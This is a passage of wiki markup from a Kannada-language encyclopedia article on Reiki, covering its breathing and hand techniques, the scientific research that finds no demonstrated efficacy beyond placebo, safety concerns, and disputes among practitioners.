book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=59}}</ref> ಚರ್ಮದ ತೊಂದರೆಗಳು (ಉದಾಹರಣೆಗೆ ದುಗ್ಧಗ್ರಂಥಿಗಳ ಉರಿಯೂತ),<ref>{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=60}}</ref> ಮಕ್ಕಳ ಸಮಸ್ಯೆಗಳು (ಉದಾಹರಣೆಗೆ ದಡಾರ),<ref>{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=63}}</ref> ಮಹಿಳೆಯರ ಆರೋಗ್ಯ ಸಮಸ್ಯೆಗಳು(ಉದಾಹರಣೆಗೆ ಓಕರಿಕೆ),<ref>{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=64}}</ref> ಸಾಂಕ್ರಾಮಿಕ ರೋಗಗಳು(ಉದಾಹರಣೆಗೆ [[ವಿಷಮಶೀತ ಜ್ವರ|ಟೈಫಾಯ್ಡ್ ಜ್ವರ]]).<ref>{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=65}}</ref> ===ಉಸಿರಾಟ=== ಉಸಿರು ಹಾಗು ಉಸಿರಾಟದ ನಿರ್ದಿಷ್ಟ ಬಳಕೆಯು ಜಪಾನೀಸ್ ರೇಖಿಯ ಹಲವು ಶೈಲಿಗಳಲ್ಲಿ ಪ್ರಮುಖವಾದರೂ ಸಹ, ಇದನ್ನು ಪಾಶ್ಚಿಮಾತ್ಯ ರೇಖಿ ಪದ್ದತಿಯಲ್ಲಿ ಸಾಮಾನ್ಯವಾಗಿ ಉಪೇಕ್ಷಿಸಲಾಗುತ್ತದೆ.<ref>{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=21}}</ref> ಉಸುಯಿ ''ಜೋಶಿನ್ ಕೊಕ್ಯು-ಹೋ'' (女神呼吸法) ಎಂಬ ವಿಧಾನವನ್ನು ಬೋಧಿಸಿದರು, ಇದನ್ನು "ಚೇತನವನ್ನು ಶುದ್ಧಮಾಡಲು ಉಸಿರಾಡುವ ವಿಧಾನ" ಎಂದು ಸ್ಥೂಲವಾಗಿ ತರ್ಜುಮೆ ಮಾಡಬಹುದು, ಆದಾಗ್ಯೂ, ಇದನ್ನು ಅಕ್ಷರಶಃ "ದೇವಿಯ ಉಸಿರಾಟ ವಿಧಾನ" ಎಂದು ತರ್ಜುಮೆ ಮಾಡಬಹುದು.<ref name="Joshin Kokyuu-ho" /> ಜೋಶಿನ್ ಕೊಕ್ಯು-ಹೋವನ್ನು ನೇರವಾಗಿ ಕುಳಿತು, ಬೆನ್ನಿನ ಭಾಗವನ್ನು ನೆಟ್ಟಗಿಟ್ಟುಕೊಂಡು, ಮೂಗಿನ ಮೂಲಕ ನಿಧಾನವಾಗಿ ಉಸಿರಾಡುವ ಮೂಲಕ ನಡೆಸಲಾಗುತ್ತದೆ. ವೈದ್ಯರು ಉಸಿರನ್ನು ಎಳೆದುಕೊಂಡಾಗ, ಆಕೆ/ಆತನೂ ಸಹ ದೇಹದ ಶುದ್ಧೀಕರಣಕ್ಕಾಗಿ ರೇಖಿ ಶಕ್ತಿಯನ್ನು ಮುಕುಟ ಚಕ್ರದ ಮೂಲಕ ಉಸಿರಾಡುವುದರ ಜೊತೆಗೆ ರೇಖಿಯ ಸರಾಗ ಹರಿವಿಗೆ ದಾರಿ ಮಾಡಿಕೊಡುತ್ತಾರೆ, ಹಾಗು ಇದನ್ನು ಟ್ಯಾನ್ಡೆನ್ ಗೆ ಎಳೆದುಕೊಳ್ಳಲಾಗುತ್ತದೆ.<ref name="Joshin Kokyuu-ho" /> ===ರೇಖಿಯ ಮೂರು ಆಧಾರಗಳು === ರೇಖಿಯ ಐದು ನಿಯಮಗಳ ಜೊತೆಯಲ್ಲಿ, ಉಸುಯಿ ತಮ್ಮ ರೇಖಿ ವಿಧಾನವನ್ನು ಇತರ ಮೂರು ಅಭ್ಯಾಸಗಳ ಮೇಲೆ ಸ್ಥಾಪಿಸಿದ್ದಾರೆ; ''ಗಾಷೋ'' ,''ರೆಯಿಜೋ-ಹೋ'' , ಹಾಗು ''ಚಿರ್ಯೋ'' .<ref name="Usui 2000 15">{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=15}}</ref> ====ಗಾಷೋ ==== ''ಗಾಷೋ'' ("合掌"ಜಪಾನೀಸ್ ನಲ್ಲಿ "ಎರಡು ಕೈಗಳು ಒಟ್ಟಾಗಿ ಸೇರುವುದು" ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುತ್ತದೆ")ಎಂಬುದು ಧ್ಯಾನಸ್ಥ ಸ್ಥಿತಿಯಾಗಿದ್ದು, ಇದರಲ್ಲಿ ಎರಡೂ ಅಂಗೈಗಳನ್ನು ಒಟ್ಟಾಗಿ ಜೋಡಿಸಲಾಗುತ್ತದೆ, ಹಾಗು ಈ ವಿಧಾನವನ್ನು ಉಸುಯಿಯವರ ರೇಖಿ ಕಾರ್ಯಾಗಾರಗಳು/ಸಭೆಗಳ ಆರಂಭಕ್ಕೆ ಮುನ್ನ ಪ್ರತಿ ಬಾರಿಯೂ ಆಚರಿಸಲಾಗುತ್ತಿತ್ತು. ಗಾಷೋದ ಒಂದು ಪ್ರಯೋಗ ವಿಧಾನವೆಂದರೆ, ಎರಡೂ ಕೈಗಳ ಮಧ್ಯದ ಬೆರಳುಗಳು ಸಂಧಿಸುವ ಬೆರಳಿನ ಮಾಂಸಲಭಾಗದ ಮೇಲೆ ಗಮನವನ್ನು ಕೇಂದ್ರೀಕರಿಸಲಾಗುತ್ತದೆ.<ref name="Usui 2000 15" /> ====ರೆಯಿಜಿ-ಹೋ ==== ''ರೆಯಿಜಿ-ಹೋ'' (霊示法,ಅರ್ಥ "ರೇಖಿ ಶಕ್ತಿ ವಿಧಾನದ ಸೂಚನೆ") ವೈದ್ಯರ ಮೂಲಕ ಮೂರು ಬಾರಿ ಹರಿಯುವಂತೆ ಕೇಳಿಕೊಳ್ಳುವ ಮೂಲಕ ರೇಖಿ ಶಕ್ತಿಗೆ ಸಂಪರ್ಕವನ್ನು ಕಲ್ಪಿಸುವ ಮಾರ್ಗ, ಹಾಗು ಇದನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಮೂರು ಭಾಗಗಳಾಗಿ ವಿಂಗಡಿಸಲಾಗುತ್ತದೆ. ಮೊದಲ ಭಾಗದಲ್ಲಿ ರೇಖಿ ಶಕ್ತಿಯು ವೈದ್ಯರ ಮೂಲಕ ಹರಿಯುವಂತೆ ಕೇಳಿಕೊಳ್ಳಲಾಗುತ್ತದೆ. ಇದು ಮುಕುಟ ಚಕ್ರದ ಮೂಲಕ(ಏಕೆಂದರೆ ಇದು ಉನ್ನತವಾದ ಆರೋಹಣವಾಗಿದೆ),ಅನಾಹತ(ಹೃದಯ)ಚಕ್ರದ ಮೂಲಕ(ರೇಖಿಯ ಶುದ್ಧ ಪ್ರೇಮದಿಂದ ಸೂಚಿತವಾಗುತ್ತದೆ), ಅಥವಾ ಕೈಗಳ ಮೂಲಕ(ನಿರ್ದಿಷ್ಟ ರೇಖಿ ಸಂಕೇತಗಳೊಂದಿಗೆ ಅಂಗೈಗಳನ್ನು ಅನುಷ್ಠಾನಗೊಳಿಸಲಾಗಿರುತ್ತದೆ)ಪ್ರವೇಶಿಸುತ್ತದೆ. ಎರಡನೇ ಹಂತದ ಪದವಿ ವಿದ್ಯಾರ್ಥಿಯು, ಮೂರನೇ/ದೂರದ ಸಂಕೇತವನ್ನು,ರೇಖಿಯೊಂದಿಗೆ ಮೊದಲ/ಶಕ್ತಿ ಸಂಕೇತದ ಜೊತೆಯಲ್ಲಿ ಬಳಸಬಹುದು;ದೂರದ ಸಂಕೇತವನ್ನು ಮೊದಲು ಕಳುಹಿಸಲಾಗುತ್ತದೆ ಹಾಗು ನಂತರದಲ್ಲಿ ಶಕ್ತಿ ಸಂಕೇತದೊಂದಿಗೆ ಭದ್ರಪಡಿಸಲಾಗುತ್ತದೆ.<ref name="Reiji-ho">{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=17}}</ref> ಎರಡನೇ ಭಾಗದಲ್ಲಿ, ರೋಗಿಯು ನಿರ್ದಿಷ್ಟ ಅಸ್ವಸ್ಥತೆಯಿಂದ ಗುಣಮುಖನಾಗಲೆಂದು, ಅಥವಾ ಹಾಗಿಲ್ಲದಿದ್ದಲ್ಲಿ ವ್ಯಕ್ತಿಯ ಉತ್ತಮ ಆರೋಗ್ಯ/ಸ್ಥಿತಿಗೆ ಪ್ರಾರ್ಥಿಸಲಾಗುತ್ತದೆ.<ref name="Reiji-ho" /> ಮೂರನೇ ಭಾಗದಲ್ಲಿ, ಎರಡೂ ಅಂಗೈಗಳನ್ನು ಮುಕ್ಕಣ್ಣಿಗೆ(ಎರಡು ಹುಬ್ಬುಗಳ ಮಧ್ಯದ ಭಾಗ) ಎದುರಾಗಿ ಮುಖಾಮುಖಿಯಾಗಿ ಹಿಡಿದುಕೊಳ್ಳಲಾಗುತ್ತದೆ, ಹಾಗು ಶಕ್ತಿಯ ಅಗತ್ಯವಿರುವ ಜಾಗಕ್ಕೆ ಕೈಗಳಿಗೆ ಮಾರ್ಗದರ್ಶನ ನೀಡಬೇಕೆಂದು ರೇಖಿ ಶಕ್ತಿಯನ್ನು ಕೇಳಿಕೊಳ್ಳಲಾಗುತ್ತದೆ.<ref name="Reiji-ho" /> ಈ ವಿಧಾನವು ''ಬ್ಯೋಸೇನ್-ಹೋ'' ಗೆ ಸದೃಶವಾದರೂ, ''ರೆಯಿಜಿ ಹೋ'' ನಿರ್ದಿಷ್ಟವಾಗಿ ಗುಣಪಡಿಸಬೇಕಾದ ಜಾಗಕ್ಕೆ ಅಂತಃಪ್ರಜ್ಞೆಯ ಮೇಲೆ ಅವಲಂಬಿತವಾಗಿದೆ, ಆದರೆ ''ಬ್ಯೋಸೇನ್-ಹೋ'' ಕೈಗಳ ಮೂಲಕ ಗುಣಪಡಿಸಬೇಕಾದ ಜಾಗವನ್ನು ಸ್ಕ್ಯಾನ ಮಾಡಿ, ವೈದ್ಯರ ಕೈಗಳ ಸೆಳವರಿವುಗಳು ಹಾಗು ಗ್ರಾಹಿಯ ಸೆಳವರಿವುಗಳಲ್ಲಿ ಉಂಟಾಗುವ ಸೂಕ್ಷ್ಮ ಬದಲಾವಣೆಗಳನ್ನು ಗುರುತಿಸುತ್ತದೆ. ====ಚಿರ್ಯೋ ==== ''ಚಿರ್ಯೋ'' ದಲ್ಲಿ("治療" ಜಪಾನೀಸ್ ನಲ್ಲಿ "(ವೈದ್ಯಕೀಯ)ಚಿಕಿತ್ಸೆ" ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುತ್ತದೆ) ವೈದ್ಯರು ಆಕೆ/ಆತನ ಪ್ರಭಾವಿ ಕೈಯನ್ನು ಮುಕುಟ ಚಕ್ರದ ಮೇಲೆ ಇರಿಸಿ ಹಿಬಿಕಿಗೆ([[Wikt:響き|響き]], "ಪ್ರತಿಕ್ರಿಯೆ")ಕಾಯಬೇಕಾದ ಅಗತ್ಯವಿರುತ್ತದೆ, ಇದು ಅಂತಃಪ್ರೇರಣೆ ಅಥವಾ ಪ್ರಚೋದನೆಯ ರೂಪದಲ್ಲಿರುತ್ತದೆ, ನಂತರದಲ್ಲಿ ಕೈಗಳನ್ನು ಬಳಸಲಾಗುತ್ತದೆ. ಚಿರ್ಯೋವನ್ನು ನಡೆಸುವ ಅವಧಿಯಲ್ಲಿ, ವೈದ್ಯರು ಕೈಗಳನ್ನು ಸಡಿಲಿಸುತ್ತಾರೆ, ದೇಹಕ್ಕೆ ಹಾನಿಯಾದ ಭಾಗವನ್ನು ಅದಕ್ಕೆ ನೋವು ತಾಗುವವರೆಗೂ ಸ್ಪರ್ಶಿಸುತ್ತಾರೆ ಅಥವಾ ಮತ್ತೊಂದು ಭಾಗಕ್ಕೆ ಕೈಗಳು ಸ್ವಯಂ ಚಲಿಸುವವರೆಗೂ ಮುಟ್ಟುತ್ತಾರೆ.<ref>{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=18}}</ref> ==ಸಂಶೋಧನೆ, ವಿಮರ್ಶಾತ್ಮಕ ಅರ್ಹತೆ ನಿರ್ಧಾರ, ಹಾಗು ವಿವಾದ == ===ವೈಜ್ಞಾನಿಕ ಸಂಶೋಧನೆ=== ರೇಖಿ ಶಕ್ತಿಯ ಬಗೆಗಿನ ನಿರೂಪಣೆಗಳು ಯಾವುದೇ ಪರಿಚಿತ ಸೈದ್ಧಾಂತಿಕ ಅಥವಾ ಜೀವಭೌತ ಆಧಾರವನ್ನು ಹೊಂದಿಲ್ಲ.<ref name="Lee_SR" /><ref name="Stenger_SRAM">{{cite journal|title=The Physics of 'Alternative Medicine' Bioenergetic Fields|journal=Scientific Review of Alternative Medicine|year=1999|first=Victor J.|last=Stenger|coauthors=|volume=3|issue=1|pages=1501–6|id=|url=http://www.sram.org/0301/bioenergetic-fields.html|accessdate=2008-03-30|doi=10.1126/science.134.3489.1501|pmid=14471768|archive-date=2006-12-18|archive-url=https://web.archive.org/web/20061218144228/http://www.sram.org/0301/bioenergetic-fields.html|url-status=dead}}</ref> ೨೦೦೮ರಲ್ಲಿ ನಡೆಸಲಾದ ಯಾದೃಚ್ಛೀಕರಿಸಲಾದ ಪ್ರಾಯೋಗಿಕ ಪರೀಕ್ಷೆಗಳ ಒಂದು ಕ್ರಮಬದ್ಧ ವಿಮರ್ಶೆಯು ರೇಖಿಯ ಬಗೆಗಿನ ಸಾಕ್ಷ್ಯಾಧಾರಗಳನ್ನು ನಿರ್ಣಯಿಸಿತು, ಇದರಂತೆ ಯಾವುದೇ ಪರಿಸ್ಥಿತಿಗೆ ಪರಿಣಾಮಕಾರಿತ್ವವು ನಿರೂಪಿತವಾಗಿಲ್ಲವೆಂದು ತೀರ್ಮಾನಿಸಲಾಯಿತು.<ref name="Lee_SR" /> ಒಂಬತ್ತು ಅಧ್ಯಯನಗಳು [[ಅಂತರ್ವೇಶನ]] ಮಾನದಂಡಕ್ಕೆ ಸರಿಹೊಂದುತ್ತವೆ; ಮಾರ್ಪಡಿಸಲಾದ ಕ್ರಮಶಾಸ್ತ್ರೀಯ ಗುಣಮಟ್ಟದ ಜಡಾಡ್ ಸ್ಕೋರ್ ನ್ನು ಬಳಸಲಾಯಿತು, ಇದರಲ್ಲಿ ಪ್ರಾಯೋಗಿಕ ಚಿಕಿತ್ಸೆಗಳನ್ನು ನಡೆಸುವ ವೈದ್ಯರುಗಳನ್ನು ಗಣನೆಗೆ ತೆಗೆದುಕೊಳ್ಳುವುದು ಬಹಳ ಕಷ್ಟಕರವಾಯಿತು. ಯಾದೃಚ್ಛೀಕರಿಸದ ಅಧ್ಯಯನಗಳನ್ನು ಕೈಬಿಡಲಾಯಿತು, ಇಂತಹ ಅಧ್ಯಯನಗಳಲ್ಲಿ ಉದ್ದೇಶಿತ ಅಥವಾ ಅನುದ್ದೇಶಿತ ಪೂರ್ವಾಗ್ರಹಗಳ ಸಾಧ್ಯತೆಯು ಬಹಳವಾಗಿ ಕಂಡುಬರುವುದರ ಜೊತೆಗೆ, ಅರ್ಥವಿವರಣೆ ನೀಡಲಾಗದ ಪರಿಣಾಮಗಳನ್ನು ನೀಡುತ್ತಿತ್ತು. ಒಟ್ಟಾರೆಯಾಗಿ, ಸಾಕ್ಷ್ಯಾಧಾರದ ಕ್ರಮಶಾಸ್ತ್ರೀಯ ಗುಣಮಟ್ಟವು ಕಳಪೆಯಾಗಿತ್ತು ಏಕೆಂದರೆ ಹೆಚ್ಚಿನ ಅಧ್ಯಯನಗಳು ಸಣ್ಣದಾದ ಮಾದರಿ, ಸಾಕಷ್ಟಿಲ್ಲದ ಅಧ್ಯಯನ ವಿನ್ಯಾಸ ಹಾಗು ಕಳಪೆ ವರದಿಗಳಂತಹ ಲೋಪಗಳನ್ನು ಎದುರಿಸಿತು, ಜೊತೆಗೆ ಉತ್ತಮ ಗುಣಮಟ್ಟದ ಅಧ್ಯಯನಗಳೂ ಸಹ ಪ್ಲಸಿಬೋ(ಹೊಸ ಔಷಧಗಳ ಪರೀಕ್ಷಾರ್ಥವಾಗಿ ನಡೆಸುವ ಪ್ರಯೋಗಗಳಲ್ಲಿ ತಾಳೆ ನೋಡಲು ಆಧಾರವಾಗಿ, ಪ್ರಮಾಣವಾಗಿ ಇಟ್ಟುಕೊಂಡಿರುವ ಔಷಧ) ಪರಿಣಾಮದ ಮೇಲೆ ಸಂಪೂರ್ಣವಾದ ನಿಯಂತ್ರಣವನ್ನು ಗಳಿಸುವಲ್ಲಿ ವಿಫಲವಾಯಿತು."<ref name="Lee_SR" /> ಇಂತಹ ಲೋಪಗಳ ಪ್ರಾಯೋಗಿಕ ಪರೀಕ್ಷಾ ವಿಧಾನಗಳು, ಉತ್ಪ್ರೇಕ್ಷಿತವಾದ ಚಿಕಿತ್ಸಾ ಪರಿಣಾಮಗಳನ್ನು ಪ್ರದರ್ಶಿಸುತ್ತಿತ್ತು, ಯಾವುದೇ ವೈದ್ಯಕೀಯ ಪರಿಸ್ಥಿತಿಗೆ ಏಕಮಾತ್ರವಾಗಿ ಅಥವಾ ಸಹಾಯಕ ಚಿಕಿತ್ಸೆಯಾಗಿ ರೇಖಿಯು ಪರಿಣಾಮಕಾರಿಯಾಗಿದೆಯೆಂದು ಸೂಚಿಸಲು ಸಾಕಷ್ಟು ಸಾಕ್ಷ್ಯಾಧಾರಗಳಿಲ್ಲ, ಅಥವಾ ಸಂಭಾವ್ಯ ಪ್ಲಸಿಬೋ ಪರಿಣಾಮಗಳ ಆಚೆಗೂ ಯಾವುದೇ ಪ್ರಯೋಜನಗಳನ್ನು ಹೊಂದಿದೆಯೆಂದು ಹೇಳಲಾಗುವುದಿಲ್ಲ.<ref name="Lee_SR" /><ref name="Ernst_PW">ಹೆಂಡರ್ಸನ್, ಮಾರ್ಕ್. [http://www.timesonline.co.uk/tol/life_and_style/health/alternative_medicine/article3760857.ece "ಪ್ರಿನ್ಸ್ ಆಫ್ ವೇಲ್ಸ್'ಸ್ ಗೈಡ್ ಟು ಆಲ್ಟರ್ನೇಟಿವ್ ಮೆಡಿಸಿನ್ 'ಇನ್ ಆಕ್ಯುರೆಟ್'"], ದಿ ಟೈಮ್ಸ್ . ಏಪ್ರಿಲ್ ೭, ೧೯೯೭. ನವೆಂಬರ್‌ ೨೪, ೨೦೦೮ರಲ್ಲಿ ಸಂಕಲಿಸಲಾಗಿದೆ.</ref> ಒಂದು ವಾಸ್ತವಿಕ ಪ್ಲಸಿಬೋವನ್ನು ವಿನ್ಯಾಸಗೊಳಿಸುವುದು ಕಷ್ಟಕರವಾಗಿರುವ ಕಾರಣದಿಂದಾಗಿ ರೇಖಿಯ ಪ್ಲಸಿಬೋ ಪ್ರಾಯೋಗಿಕ ಪರೀಕ್ಷೆಗಳು ಜಟಿಲವಾಗಿವೆ.<ref>[http://www.liebertonline.com/doi/abs/10.1089/acm.1999.5.153 ಅಹ್ಲಂ A. ಮನ್ಸೌರ್, ಮರಿಯೋನ್ ಬೇಯುಚೆ, ಗೈಲ್ ಲಿಂಗ್, ಅನ್ನೇ ಲೆಯಿಸ್, ಜೂಡಿ ನರ್ಸ್, "ಏ ಸ್ಟಡಿ ಟು ಟೆಸ್ಟ್ ದಿ ಎಫೆಕ್ಟೀವ್ನೆಸ್ಸ್ ಆಫ್ ಪ್ಲಸಿಬೋ ರೇಖಿ ಸ್ಟ್ಯಾನ್ಡರ್ಡ್ಡೈಸೇಶನ್ ಪ್ರೋಸೀಜರ್ಸ್ ಡೆವಲಪ್ಡ್ ಫಾರ್ ಏ ಪ್ಲ್ಯಾನ್ಡ್ ರೇಖಿ ಎಫಿಕಸಿ ಸ್ಟಡಿ", ''ಜರ್ನಲ್ ಆಫ್ ಆಲ್ಟರ್ನೇಟಿವ್ ಅಂಡ್ ಕಾಮ್ಪ್ಲಿಮೆಂಟರಿ ಮೆಡಿಸಿನ್'' ಏಪ್ರಿಲ್ 1999, 5(2): 153-164. doi:10.1089/acm.1999.5.153.]</ref> ೨೦೦೯ರಲ್ಲಿ ದಿ ಜರ್ನಲ್ ಆಫ್ ಆಲ್ಟರ್ನೇಟಿವ್ ಅಂಡ್ ಕಾಮ್ಪ್ಲಿಮೆಂಟರಿ ಮೆಡಿಸಿನ್ ನಲ್ಲಿ ಕಂಡುಬಂದ ಒಂದು ವಿಮರ್ಶೆಯ ಪ್ರಕಾರ "ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ಸೀಮಿತ ರೇಖಿ ಅಧ್ಯಯನಗಳ ಗಂಭೀರ ಕ್ರಮಶಾಸ್ತ್ರೀಯ ಹಾಗು ವಿವರಣಾತ್ಮಕ ಪ್ರತಿಬಂಧಗಳು, ಅದರ ಪರಿಣಾಮಕಾರಿತ್ವದ ಮೇಲೆ ನಿರ್ಣಾಯಕ ತೀರ್ಮಾನಕ್ಕೆ ಅಡ್ಡಿಪಡಿಸುತ್ತವೆ."<ref name="vanderVart">{{cite journal|title=A Systematic Review of the Therapeutic Effects of Reiki|journal=The Journal of Alternative and Complementary Medicine|year=2009|volume=15|first4=G|issue=11|pages=1157–1169|doi=10.1089/acm.2009.0036|url=|last4=Koren|format=|accessdate=2009-04-08|pmid=19922247|last1=vanderVaart|first1=S|last2=Gijsen|first2=V|last3=Wildt|first3=S}}</ref> ===ಸುರಕ್ಷತೆ ಹಾಗು ಪರಿಣಾಮಕಾರಿತ್ವ === {{Main|Alternative medicine#Testing of safety|l1=Testing of safety}} ರೇಖಿಯಲ್ಲಿನ ಸುರಕ್ಷತೆಯ ಬಗ್ಗೆ ಕಾಳಜಿಯು, ಇತರ ಪ್ರಮಾಣೀಕರಿಸದ ಪರ್ಯಾಯ ಚಿಕಿತ್ಸೆಗಳೆಡೆಗೆ ಇರುವ ಕಾಳಜಿಗೆ ಸದೃಶವಾಗಿದೆ. ಔಷಧಶಾಸ್ತ್ರದ ವೈದ್ಯರುಗಳು ಹಾಗು ಅದಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಆರೋಗ್ಯ ಕಾಳಜಿ ಕೆಲಸಗಾರರು, ಗಂಭೀರ ಪರಿಸ್ಥಿತಿಗಳಲ್ಲಿ ರೋಗಿಗಳು ದೃಢಪಡದ ಪ್ರಾಯೋಗಿಕ ಚಿಕಿತ್ಸೆಗಳನ್ನು ಆಯ್ಕೆ ಮಾಡಿಕೊಂಡು ಪ್ರಾಯೋಗಿಕವಾಗಿ ದೃಢಪಟ್ಟ ಚಿಕಿತ್ಸೆಗಳನ್ನು ತಳ್ಳಿಹಾಕಬಹುದು.<ref name="Lilienfeld_2002">{{cite journal|title=Our Raison d’Être|journal=The Scientific Review of Mental Health Practice|year=2002|first=Scott O.|last=Lilienfeld|coauthors=|volume=1|issue=1|pages=|id= |url=http://www.srmhp.org/0101/raison-detre.html|accessdate = 2008-01-28 }}</ref> ರೇಖಿ ವೈದ್ಯರುಗಳು ತಮ್ಮ ರೋಗಿಗಳಿಗೆ ಅವರ ಗಂಭೀರ ಪರಿಸ್ಥಿತಿಗಳಲ್ಲಿ ಔಷಧಶಾಸ್ತ್ರದ ವೈದ್ಯರನ್ನು ಭೇಟಿ ಮಾಡುವಂತೆ ಸಲಹೆ ನೀಡುವುದರ ಜೊತೆಗೆ ರೇಖಿಯನ್ನು ಸಾಂಪ್ರದಾಯಿಕ ಚಿಕಿತ್ಸೆಗೆ ಪೂರಕವಾಗಿ ಬಳಸಬಹುದೆಂದು ತಿಳಿಸಬಹುದು.<ref>ರೇಖಿ ಸಾಂಪ್ರದಾಯಿಕ ಚಿಕಿತ್ಸೆಯನ್ನು ಬದಲಿಸುವುದಿಲ್ಲ ಆದರೆ ಅದನ್ನು ಪೂರಕಗೊಳಿಸುತ್ತದೆ:(ಮ್ಯಾಕ್ಕೆಂಜಿ(೧೯೯೮). ಪುಟಗಳು ೭, ೧೮, ಹಾಗು ೧೦೫)</ref> ಪ್ರಾಯೋಗಿಕ ಪರೀಕ್ಷೆಗಳು, ರೇಖಿಯ ಬಳಕೆಯಿಂದ ಯಾವುದೇ ಮಹತ್ವದ ಪ್ರತಿಕೂಲ ಪರಿಣಾಮವನ್ನು ಉಂಟುಮಾಡಿದ್ದಾರ ಬಗ್ಗೆ ವರದಿ ಮಾಡಿಲ್ಲ.<ref name="Lee_SR" /> ದಿ ನ್ಯಾಷನಲ್ ಕೌನ್ಸಿಲ್ ಅಗೈನ್ಸ್ಟ್ ಹೆಲ್ತ್ ಫ್ರಾಡ್ ನ ವಿಲ್ಲಿಯಮ್ T. ಜಾರ್ವಿಸ್, Ph.D., ರೇಖಿಯ ಯಾವುದೇ ಪ್ರಾಯೋಗಿಕ ಪರಿಣಾಮವು ಸಲಹೆಯಿಂದ ಉಂಟಾಗಿರಬಹುದೆಂದು ಸೂಚಿಸುತ್ತಾರೆ.<ref>ರೇಖಿಯ ಒಂದು ಸಂಶಯವಾದದ ನಿರ್ಧಾರಣೆ: [http://www.ncahf.org/articles/o-r/reiki.html ನ್ಯಾಷನಲ್ ಕೌನ್ಸಿಲ್ ಎಗೈನ್ಸ್ಟ್ ಹೆಲ್ತ್ ಫ್ರಾಡ್ ಆರ್ಟಿಕಲ್].</ref> ===ಆಂತರಿಕ ವಿವಾದಗಳು === ರೇಖಿ ಕಲಿಕೆಗೆ ಬಳಸಲಾಗುವ ವಿವಿಧ ವಿಧಾನಗಳ ಜೊತೆಯಲ್ಲಿ, ವಿವಿಧ ಗುಂಪುಗಳು, ಶಿಕ್ಷಕರು, ಹಾಗು ವೈದ್ಯರುಗಳ ನಡುವೆ ವಿವಾದಗಳು ಹುಟ್ಟಿಕೊಂಡಿವೆ. ಸ್ವತಃ ರೇಖಿ ಶಕ್ತಿಯ ಸ್ವರೂಪದಂತಹ ವಿಷಯಗಳು, ಕೋರ್ಸ್ ಗಳಿಗೆ ಹಾಗು ಚಿಕಿತ್ಸೆಗಳಿಗೆ ಪಡೆಯಲಾಗುವಂತ ಶುಲ್ಕಗಳ ಬಗ್ಗೆ, ತರಬೇತಿಯ ವಿಧಾನಗಳ ಬಗ್ಗೆ, ಸಂಕೇತಗಳ ಗೋಪ್ಯತೆಯ ಬಗ್ಗೆ, ಹಾಗು ಅನುಷ್ಠಾನ ವಿಧಾನಗಳ ಬಗ್ಗೆ ವಿವಾದಗಳು ಅಸ್ತಿತ್ವದಲ್ಲಿವೆ.<ref>{{cite web|url=http://www.indobase.com/reiki/info-for-practioners/charging-for-reiki.html |title=Charging for Reiki Healing |accessdate=2009-02-05 |publisher=Indobase}}</ref><ref name="TRTIA_history">{{cite web|url=http://www.trtia.org/histpers.html |title=The Radiance Technique, Authentic Reiki: Historical Perspectives |accessdate=2008-04-02 |last=Ray |first=Barbara |year=1995 |publisher=The Radiance Technique International Association Inc. }}</ref> ಹವಾಯೋ ತಕಾತರ ನಿಧನದ ನಂತರ, ೧೯೯೦ರ ಉದ್ದಕ್ಕೂ, ರೇಖಿಯ "ಗ್ರ್ಯಾಂಡ್ ಮಾಸ್ಟರ್" ಎಂಬ ಬಿರುದಿನ ಬಗ್ಗೆ ಎದುರಾಳಿಗಳಲ್ಲಿ ಪ್ರತಿಪಾದನೆಗಳು ಉಂಟಾಗಿದ್ದವು. ಆದಾಗ್ಯೂ, ಈ ಪದವನ್ನು ತಕಾತ ಸ್ವತಃ ಸೃಷ್ಟಿಸಿದ್ದೆಂದು ಪತ್ತೆಯಾದ ನಂತರ ಈ ವಿವಾದವು ತಣ್ಣಗಾಯಿತು.<ref>"ಗ್ಯಾಂಡ್ 